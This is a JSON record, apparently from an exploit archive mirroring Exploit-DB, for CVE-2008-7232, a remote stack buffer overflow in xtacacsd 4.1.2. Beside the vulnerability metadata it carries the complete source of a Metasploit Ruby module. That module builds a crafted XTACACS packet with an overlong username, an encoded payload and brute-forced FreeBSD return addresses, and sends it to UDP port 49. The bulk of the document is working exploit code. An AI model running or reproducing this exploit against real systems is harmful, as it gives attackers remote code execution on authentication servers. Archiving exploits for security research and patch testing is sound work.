{"exploit":{"id":"EDB-10035","name":"Xtacacsd 4.1.2 - 'report()' Remote Buffer Overflow (Metasploit)","description":"Xtacacsd 4.1.2 - 'report()' Remote Buffer Overflow (Metasploit)","cves":["CVE-2008-7232"],"author":"MC","published":"2008-01-08","platform":"bsd","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/10035","path":"exploits/bsd/remote/10035.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-10035.rb","vulnerabilities":[{"id":"CVE-2008-7232","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in the report function in xtacacsd 4.1.2 and earlier allows remote attackers to execute arbitrary code via a crafted CONNECT TACACS command.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-7232","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-7232"},"updatedAt":"2024-08-07T11:56:14.506Z","retrievedAt":"2026-11-26T17:07:19.375Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-10035.png?v=2","url":"https://exploitbin.com/exploits/EDB-10035","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-10035/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-10035/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# $Id: xtacacsd_report.rb 9262 2010-05-09 17:45:00Z jduck $\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = AverageRanking\n\n\tinclude Msf::Exploit::Remote::Udp\n\tinclude Msf::Exploit::Brute\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'XTACACSD <= 4.1.2 report() Buffer Overflow',\n\t\t\t'Description'    => %q{\n\t\t\t\t\tThis module exploits a stack buffer overflow in XTACACSD <= 4.1.2. By\n\t\t\t\tsending a specially crafted XTACACS packet with an overly long\n\t\t\t\tusername, an attacker may be able to execute arbitrary code.\n\t\t\t},\n\t\t\t'Author'         => 'MC',\n\t\t\t'Version'        => '$Revision: 9262 $',\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t['CVE', '2008-7232'],\n\t\t\t\t\t['OSVDB', '58140'],\n\t\t\t\t\t['URL', 'http://aluigi.altervista.org/adv/xtacacsdz-adv.txt'],\n\t\t\t\t],\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'Space'    => 175,\n\t\t\t\t\t'BadChars' => \"\\x00\\x09\\x0a\\x0b\\x0c\\x0d\\x20\",\n\t\t\t\t\t'StackAdjustment' => -3500,\n\t\t\t\t\t'PrependEncoder' => \"\\x83\\xec\\x7f\",\n\t\t\t\t\t'DisableNops'   =>  'True',\n\t\t\t\t},\n\t\t\t'Platform'       => 'BSD',\n\t\t\t'Arch'           => ARCH_X86,\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\t\t\t\t\t['FreeBSD 6.2-Release Bruteforce',\n\t\t\t\t\t\t{'Bruteforce' =>\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t'Start' => { 'Ret' => 0xbfbfea00 },\n\t\t\t\t\t\t\t\t'Stop'  => { 'Ret' => 0xbfbfef00 },\n\t\t\t\t\t\t\t\t'Step'  => 24,\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t},\n\t\t\t\t\t],\n\t\t\t\t],\n\t\t\t'Privileged'     => true,\n\t\t\t'DefaultTarget'  => 0,\n\t\t\t'DisclosureDate' => 'Jan 8 2008'))\n\n\t\tregister_options([Opt::RPORT(49)], self.class)\n\tend\n\n\tdef brute_exploit(address)\n\t\tconnect_udp\n\n\t\tsploit =  \"\\x80\" # Version\n\t\tsploit << \"\\x05\" # Type: Connect\n\t\tsploit << \"\\xff\\xff\" # Nonce\n\t\tsploit << \"\\xff\" # Username length\n\t\tsploit << \"\\x00\" # Password length\n\t\tsploit << \"\\x00\" # Response\n\t\tsploit << \"\\x00\" # Reason\n\t\tsploit << \"\\xff\\xff\\xff\\xff\" # Result 1\n\t\tsploit << \"\\xff\\xff\\xff\\xff\" # Destination address\n\t\tsploit << \"\\xff\\xff\" # Destination port\n\t\tsploit << \"\\xff\\xff\" # Line\n\t\tsploit << \"\\x00\\x00\\x00\\x00\" # Result 2\n\t\tsploit << \"\\x00\\x00\" # Result 3\n\t\tsploit << make_nops(238 - payload.encoded.length)\n\t\tsploit << payload.encoded + [address['Ret']].pack('V')\n\n\t\tprint_status(\"Trying target #{target.name} #{\"%.8x\" % address['Ret']}...\")\n\t\tudp_sock.put(sploit)\n\n\t\tdisconnect_udp\n\tend\n\nend","sha256":"808d240456574e9dbef87bdb0139473ae1c37b46314674c2b1fdcda5a897df0e","bytes":2490,"fetchedAt":"2026-11-26T17:07:16.204Z","encoding":"utf-8 (display only; download retains original bytes)"}